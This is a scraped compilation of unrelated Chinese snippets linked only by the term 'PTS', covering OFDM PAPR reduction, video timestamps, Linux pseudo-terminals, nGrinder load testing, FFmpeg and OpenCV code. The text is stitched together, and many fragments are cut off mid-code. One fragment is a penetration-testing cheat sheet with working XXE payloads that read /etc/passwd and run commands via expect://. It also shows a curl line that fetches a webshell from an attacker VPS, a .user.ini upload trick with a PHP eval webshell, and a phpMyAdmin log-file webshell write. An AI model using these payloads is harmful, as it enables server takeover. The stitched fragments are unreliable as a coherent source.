为了抑制 PAPR,多种技术被提出,其中基于部分传输序列(PTS)的方法是一种有效目广泛使用的技术。本文利用 MATLAB 仿真,分析不同参数 V 对 PTS-PAPR 抑制技术的效果影响。 一、PTS-PAPR 抑制技术 1、简介 PTS-PAPR 抑制技术是一种基于部分传输序列的方法,通过将原始 OFDM 符号分解为多个部分序列,并在发射端以及接收端之间进行信号的组合,从而减小 PAPR 如图 1 所示,在 SLM 技术中对所有的子载波加扰,而在 PTS 技术中对每一个子块加扰(独立旋转相位)。 在次优的组合算法中对公式 2 计算 V 次,远小于原来的 PTS 技术所需的计算次数,即 V<<W^V 。 三、资源自取 源码注释清晰,有需要可自取~ 链接:减小PAPR——PTS技术
这时就需要我们来了解另外两个概念:DTS 和 PTS。 DTS、PTS 的概念 DTS、PTS 的概念如下所述: DTS(Decoding Time Stamp):即解码时间戳,这个时间戳的意义在于告诉播放器该在什么时候解码这一帧的数据。 需要注意的是:虽然 DTS、PTS 是用于指导播放端的行为,但它们是在编码的时候由编码器生成的。 当视频流中没有 B 帧时,通常 DTS 和 PTS 的顺序是一致的。 顺序大概如下: PTS: 1 4 2 3 DTS: 1 2 3 4 Stream: I P B B 音视频的同步 上面说了视频帧、DTS、PTS 相关的概念。 音频的播放,也有 DTS、PTS 的概念,但是音频没有类似视频中 B 帧,不需要双向预测,所以音频帧的 DTS、PTS 顺序是一致的。 音频视频混合在一起播放,就呈现了我们常常看到的广义的视频。
5、pts/ptmx(pts/ptmx结合使用,进而实现pty): 伪终端(Pseudo Terminal)是终端的发展,为满足现在需求(比如网络登陆、xwindow窗口的管理)。 也就是说pts(pseudo-terminal slave)是pty的实现方法,和ptmx(pseudo-terminal master)配合使用实现pty。 /0 [root@desktop ~]# tty /dev/pts/0 [root@desktop ~]# ps -ef|grep tty root 1796 1719 0 15:23 00:00:00 sshd: root@pts/0 root 1843 1839 0 15:23 pts/0 00:00:00 -bash root 2784 2777 0 15:40 pts/1 00:00:00 /bin/bash root 4313 1843 0 17:31 pts/0 00:00:00 ps -ef ###查看虚拟终端设备
nGrinder的功能扩展 上一篇讲解了利用nGrinder进行一次性能测试的简单过程,相对于阿里云的PTS,还是有些许的差别,如果想实现跟阿里云PTS类似的效果,我们需要自定义增加一些模块,扩展一些方法 类比阿里云PTS 我们先来看看nGrinder跟阿里云PTS之间功能上有何区别和类似的地方 功能 nGrinder 阿里云PTS 测试环境管理 没有统一管理测试机的地方,可测试任意机器,不需要事先定义 HTTP属性 PTS.HttpUtilities.setUrlEncoding('utf-8') PTS.HttpUtilities.setFollowRedirects(True) PTS.HttpUtilities.setTimeout (120000) # PTS.HttpUtilities.setKeepAlive(False) # PTS.HttpUtilities.setUseCookieModule(False) # PTS.HttpUtilities.setProxyServer 安装插件 Chrome插件下载地址:http://pts.aliyun.com/common/Aliyun-PTS-Record-Tool_v.0.2.6.4.crx?
PTS是集测试机管理、测试脚本管理、测试场景管理、测试任务管理、测试结果管理为一体的性能云测试平台。PTS基于阿里云计算平台研发,可提供超大规模并发压力,满足任意规模系统的性能测试需求。 PTS在工作时会通过施压机产生压测流量,用户如果对施压的流量、地域等有更多要求,PTS施压机可动态扩展在全球范围进行部署。 PTS平台提供压测机,无须安装压测软件,海量并发即可唾手可得。 PTS包含两个版本: 【1】PTS Lite版适合于业务流程和业务场景简单、快速获取测试结果的系统,免费使用; 【2】PTS企业版适合于承受大规模压力的系统,同时每月提供免费额度,可以满足大部分企业客户 但可惜的是,阿里云的PTS服务测试对象,只针对阿里云平台的云服务器,也就是说,你的服务器是托管在机房的,是不能用PTS来进行性能测试的。 当然,我们也可以在阿里云服务器上部署自己的PTS,省掉一笔不小的PTS服务使用费。
以上就是快速启动一个测试的过程 ---- 未完待续 下一篇讲解对nGrinder框架进行功能扩展,实现跟阿里云PTS一样的效果
它的对应端则会被自动地创建成/dev/pts/3。这样就可以在需要时提供一个pty伪终端。目录 /dev/pts是一个类型为devpts的文件系统,并且可以在被加载文件系统列表中看到。 虽然“文件”/dev/pts/3看上去是设备文件系统中的一项,但其实它完全是一种不同的文件系统。 在RHEL4环境下:输出为 /dev/ptmx /dev/pts/1 存在一(master)对多(slave)的情况 3.控制终端(/dev/tty) 如果当前进程有控制终端(Controlling
上一篇给大家介绍了阿里云的PTS服务,工具虽好,毕竟是需要花点钱的,比起高大上的LoadRunner是要便宜不少,但互联网讲究什么啊,Free啊,开源啊……那市场上有没有一个开源工具跟阿里云的PTS一样 答案是肯定的,甚至比阿里云PTS出现的时间还早。 其实啊,阿里云的PTS也是根据它进行二次开发来的,当然,这是我的怀疑,参考淘宝开放平台—聚石塔性能测试服务(http://open.taobao.com/doc/detail.htm? 当然也有一些不同的地方,比如对测试机的管理,阿里云PTS可以直接在线管理被测服务器,而nGrinder需要我们手工在被测试服务器上安装监控程序,这样才能收集服务器的性能数据。 阿里云PTS测试中可配置的更多,对新手来说更加方便,而nGrinder要实现稍微复杂的逻辑,就需要在测试脚本中实现。
nGrinder测试结果分析 前几篇我们介绍了怎么对nGrinder改造成阿里云PTS类似的样子,也给大家举例演示了怎么利用nGrinder测试接口性能,那测试结果出来后,就需要对测试结果进行分析,找出性能瓶颈点 至此,在内网搭建PTS服务的介绍就全部介绍完了,后续就看大家怎么使用该工具在项目中发挥了,谢谢大家的关注和阅读。 ---- 全篇完
= False PTS.Logger.error(u'事务请求中http 返回状态大于300,请检查请求是否正确!') 在lib目录中我们需要上传自定义模块的脚本PTS.py,内容如上篇所述,大家可根据情况修改和补充。 ? 打开编辑register.py脚本文件 ? 因为脚本跟阿里云PTS的结构也不完全相同,阿里云PTS所有的执行过程操作函数是在TestRunner类里面的,而nGrinder所有执行过程操作函数在TestRunner类外面,nGrinder默认生成的脚本也没有对 HTTPPluginControl from HTTPClient import CookieModule #引入cookie模块 from HTTPClient import NVPair import PTS = -1: PTS.sumCheckPointStatus(1,checkPointStatus) else: PTS.sumCheckPointStatus(0,checkPointStatus) PTS.addHttpCode
首先介绍下概念: PTS:Presentation Time Stamp。PTS主要用于度量解码后的视频帧什么时候被显示出来。 DTS:Decode Time Stamp。 也就是pts反映帧什么时候开始显示,dts反映数据流什么时候开始解码。 怎么理解这里的“什么时候”呢?如果有某一帧,假设它是第10秒开始显示。那么它的pts是多少呢。是10?还是10s? 所谓时间基表示的就是每个刻度是多少秒 pts的值就是占多少个时间刻度(占多少个格子)。它的单位不是秒,而是时间刻度。只有pts加上time_base两者同时在一起,才能表达出时间是多少。 这就是pts的转换。 根据pts来计算一桢在整个视频中的时间位置: timestamp(秒) = pts * av_q2d(st->time_base) duration和pts单位一样,duration表示当前帧的持续时间占多少格
1.3、XXE相关技巧 1.3.1、XXE载荷构技巧 使用seclists的XXE-Fuzzing.txt的第9行,做一个简单改造即可使用。对比如下: 改造前: <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]> 改造后: <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "file:///etc/passwd" >]> XXE-Fuzzing.txt的路径:SecLists\Fuzzing\XXE-Fuzzing.txt 有了上述载荷以后,再加上回显位置即可成功利用,完整载荷示例: <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "file:///etc/passwd" >]> <name> <email> &foo; </email> </name> 1.3.2、命令执行&&getshell 命令执行的原理是把文件读取用的file://协议换成了expect://协议。 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "expect://id" >]> <name> <email> &foo; </email> </name> getshell则是命令执行的变种,通过上传webshell来。 利用前提:知道目标服务器的脚本语言类型和webshell上传后的大致位置。如果是OSS上,直接寄。 1)使用python托管webshell python -m http.server 8088 2)下载webshell <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "expect://curl$IFS'vps_addr:port/111.php'$IFS-o$IFS'222.php'" >]> <name> <email> &foo; </email> </name> 此处webshell下载解析: curl -O vps_addr:port/111.php curl vps_addr:port/111.php -o 222.php 空格用$IFS来替代,没啥好说的,常规思路。 下载url不能带协议 下载url用单引号包裹,如果是-o方式,保存文件的名称也用单引号包裹起来。 1.4、.user.ini文件上传 这个跟.htaccess差不多,.user.ini是php给用户的自定义配置文件,可将指定文件按照php脚本文件的形式解析。 介绍:https://blog.csdn.net/cosmoslin/article/details/120793126 利用过程: 1)上传.user.ini filename:.user.ini Content-type:image/jpeg 文件正文: GIF89a auto_prepend_file = aaa.jpg 2)上传webshell filename: aaa.jpg Content-type:image/jpeg 文件正文: GIF89a <?php @eval($_POST[22]);?> # 可替换为其他webshell 1.5、盲注分析 导出数据包: 文件——导出分组解析结果——为纯文本 通过notepad++解码: 提取所有注入数据包,此处使用notepad++中的标记功能,查找模式设置为正则表达式。 提取出来以后,找到临界值。当上面的查询语句从1,1到2,1,则上一条语句的=''的值就是SQLi获取到的数据。 找到所有数据后,用英文的逗号隔开,然后使用convert从dec转成text。 1.6、phpmyadmin后台写日志马 前提:知道web根目录。 set global general_log = 'on'; set global general_log_file = 'c:/phpstudy/111.php' select "<?php @eval($_POST[22]);?>" web根目
这一讲的嘉宾有两位,一位是中诚信征信有限公司副总裁、首席技术官——姚明,另一位是Points(PTS)项目创始人张佳辰。大数据文摘为不能来到现场的同学们带来了讲座实录,请大家来先睹为快吧! Points(PTS)张佳辰 我们现在正在做基于公链在信用领域相关的金融科技项目,叫做Points(PTS)。 解决数据市场问题的方式 像PTS这样的项目通过哪些创新的应用可以更好地解决这个问题呢?第一个就是我们在使用DPoS共识机制来提高共识层的性能。第二点用零知识证明验证方式,更加好避免数据不必要的泄露。
PTS 值获取 : PTS 数据被封装在了 AVFrame 结构体中 , 音频解码后的 PCM 数据帧 , 和视频解码后的图片数据帧 , 都可以获取 PTS 值 ; /** * Presentation 通过 PTS 计算音频播放时间 ---- 通过 PTS 获取 音频 播放的时间 : 直接获取 音频帧 AVFrame 结构体的 pts 值 , 这里注意获取的 PTS 值的单位不是秒 , 而是一个特殊单位 AVRational 转为 double 类型 audio_pts_second = avFrame->pts * av_q2d(time_base); PTS 的单位是 time_base , 从 单位转换 : 将 PTS 值转为单位为秒的值 , 使用 PTS 乘以 time_base 代表的有理数 , 即可获取 PTS 代表的秒数 ; 4 . 视频的 PTS 时间 : 视频帧也可以像音频一样直接获取 PTS 时间 , 并计算其相对的播放时间 ; 2 .
(02:08) root pts/1 192.168.1.93 Sun Mar 28 23:42 - 04:59 (05:17) root pts (07:12) root pts/0 192.168.1.93 Sun Mar 28 02:07 - 02:10 (00:02) root pts (06:19) root pts/0 192.168.1.93 Wed Mar 24 05:44 - 14:48 (09:04) root pts (01:24) root pts/1 192.168.1.93 Wed Mar 10 09:04 - 09:05 (00:00) root pts (12:51) root pts/0 192.168.1.93 Sat Jan 16 16:17 - 19:33 (03:16) root pts
// pts = 1.3253888888888889 (s) double pts = frame->pts; pts *= av_q2d(pVideoState->pVideoStream ->videoClock; } //预测下一帧的pts,这个预测的pts正常情况是没用的,只有在下一帧pts为0的异常情况下才会用到 frameDelay = av_q2d : 1、把这帧pts和上一帧pts的时差当作下一帧pts和这帧pts的时差,这个时差就是刷新下一帧的延迟。 首先我们直接用音频包pts来更新音频时钟,但由于音频包里有多个音频帧,该音频包里的pts只是第一个音频帧的pts,因此我们还需要根据当前音频包播放了多少数据来算出实时的音频时钟。 pts区间了。
cv2.COLOR_GRAY2BGR) for r,pt1,pt2 in zip(lines,pts1,pts2): color=tuple(np.random.randint( m) pts2.append(kp2[m.trainIdx].pt) pts1.append(kp1[m.queryIdx].pt) pts1=np.int32(pts1 ) pts2=np.int32(pts2) F,mask=cv2.findFundamentalMat(pts1,pts2,cv2.FM_LMEDS) pts1=pts1[mask.ravel()==1 ] pts2=pts2[mask.ravel()==1] #找到与右图像(第二幅图像)中的点对应的外轮廓线并在左侧图像上绘制其线条 lines1=cv2.computeCorrespondEpilines (pts2.reshape(-1,1,2),2,F) lines1=lines1.reshape(-1,3) img5,img6=drawlines(img1,img2,lines1,pts1,pts2
PTS值。 而发生问题的关键在于将F2-F4调整PTS之后,也需要实时调整F5-F7的PTS。 d); d是根据规则(0.5*PTS)计算出来的pts值. 而处理不需要修改的帧才是重点, 按照上图所示意的PTS,F5应该继承F4调整前的PTS值,所以需要在调整F4之前需要保存旧的PTS。 frame->pts = D2TS(d); setpts->_pts = frame->pts; } else { frame->pts = setpts
; pts.push_back(p1); pts.push_back(p2); pts.push_back(p3); pts.push_back(p3); pts.push_back(p4); pts.push_back (p5); polylines(canvas, pts, true, Scalar(0, 255, 0), 1, 8, 0); 随机拾取5个点的坐标,然后完成绘制运行结果如下: ? ; pts.push_back(p1); pts.push_back(p2); pts.push_back(p3); pts.push_back(p3); pts.push_back(p4); pts.push_back (p5); fillPoly(canvas, pts, Scalar(255, 0, 255), 8, 0); polylines(canvas, pts, true, Scalar(0, 255, 255 ; pts.push_back(p1); pts.push_back(p2); pts.push_back(p3); pts.push_back(p3); pts.push_back(p4); pts.push_back
xinetd服务: ``` service xinetd restart ``` 另外,在RHEL6.5中,如果需要root用户可以远程Telnet登录,需要在/etc/securetty文件末尾后,添加 pts /0 pts/1 pts/2 pts/3 pts/4 pts/5 pts/6 pts/7 pts/8 pts/9 pts/10 pts/11 pts/12 pts/13 pts/14 pts/15 pts /16 pts/17 pts/18 pts/19 pts/20 pts/21 pts/22 pts/23 pts/24 pts/25 pts/26 pts/27 pts/28 pts/29 pts/30